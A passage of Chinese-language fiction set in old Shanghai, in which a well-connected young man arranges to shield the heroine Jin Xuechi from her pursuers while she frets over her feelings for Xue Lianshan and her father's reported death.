莲山是清癯,他那是像猴子,嘴角那块儿总有点局促;剃个小平头,穿身黑袍,看起来就凶。在二楼探头探脑的几个妈子和周馥立刻缩回去了。金雪池也想溜,但因为是主要人物,硬着头皮端坐在沙发上。 邵子骏显然和薛莲山很熟,一屁股坐在沙发上,双腿大岔,撑在膝盖上巡视一圈,“托我办事,你也不请客,把我往家里使唤。” “跟别人还是会请的,请你真是不必。要不你自己出去吃,挂我的账好了。”薛莲山也不跟他多打岔,把她的情况介绍了一遍;邵子骏时不时点一下头,越过薛莲山的肩膀往这边望,也露出暧昧的笑。 “金小姐,这样,”他用国语说,“你知道现在都是安全的,因为一直住在他家,出门也和他一起,是吧?说明对面在观察你。他们不想跟老薛结梁子。过几天我们家正好要办答谢宴,带你过去转一圈、见见人,他们如果一直在暗中盯着你的话,就知道你被我罩着了,明白?谁也不敢在上海对你动手的。” 她点了点头。 “另外,追你的那个人跟我描述一下,我尽可能找。不过有可能找不到,也有可能来的不是那一个,别抱太大期望。” “我知道,谢谢你。” “不谢,我在外面到处挂老薛的账,应该的。”邵子骏多看了她几眼,语重心长道,“老薛就喜欢你这款,像个学生妹,年纪不大吧?你爹死了,你也不必太伤心,他那种人和我们一样,是有觉悟的。你该干嘛干嘛,明白?他把你从那破地儿送到北平,不是让你回头看的。” 金雪池知道他是好意,但她不信金文彬死了。 接下来就是邵少爷打电话来通知:三十号下午四点把她送到自己家来。电话是宋妈接的,当时只有金雪池在家,就跟她说了一声;金雪池又跟薛莲山说了一声。他当时用手帕掩着咳嗽,挥了挥手,示意听到了。 他不是那种游手好闲的有钱人,每天实打实地早起上班、晚上加班,在家的时间非常少,这也导致跟金雪池根本没几句话说。周馥照例钉在沙发上,若是他回晚了,就要问一句:“怎么这么晚?你早上说八点就能回来。” 薛莲山往常会觉得相当心累,她根本没资格管他;就算他又跟谁好上了,他也会直接带回家,没必要背着她。何况他手底下真的有那么多矿。 然而不知道是受了金雪池的教导还是怎么着,这几天他的态度很好,有问必答。女人要的就是个有问必答。这一答,她什么情绪都没有了,快快乐乐地给他泡茶,如同做了夫妻一般。 金雪池的分析功能有一点崩坏了:他们又如胶似漆上了。她确实是深闺里养成的,不知道新式恋爱到底是怎么回事,听闻情侣间就是吵吵闹闹、分分合合的,他们要是又好了,那他上回在车上说的那些话......“你要是介意,我让她明天就走”,又是什么意思? 她觉得有点难受,他好像是故意在让她紧张。真正爱她的人不会让她产生如此多的情绪,譬如老豆,她从未考虑过老豆爱不爱她。一想起来不禁泪潸潸了,要是老豆还在,能让她这样人在屋檐下? 三十号下午三点,薛莲山好像没想起来要接她去邵公馆。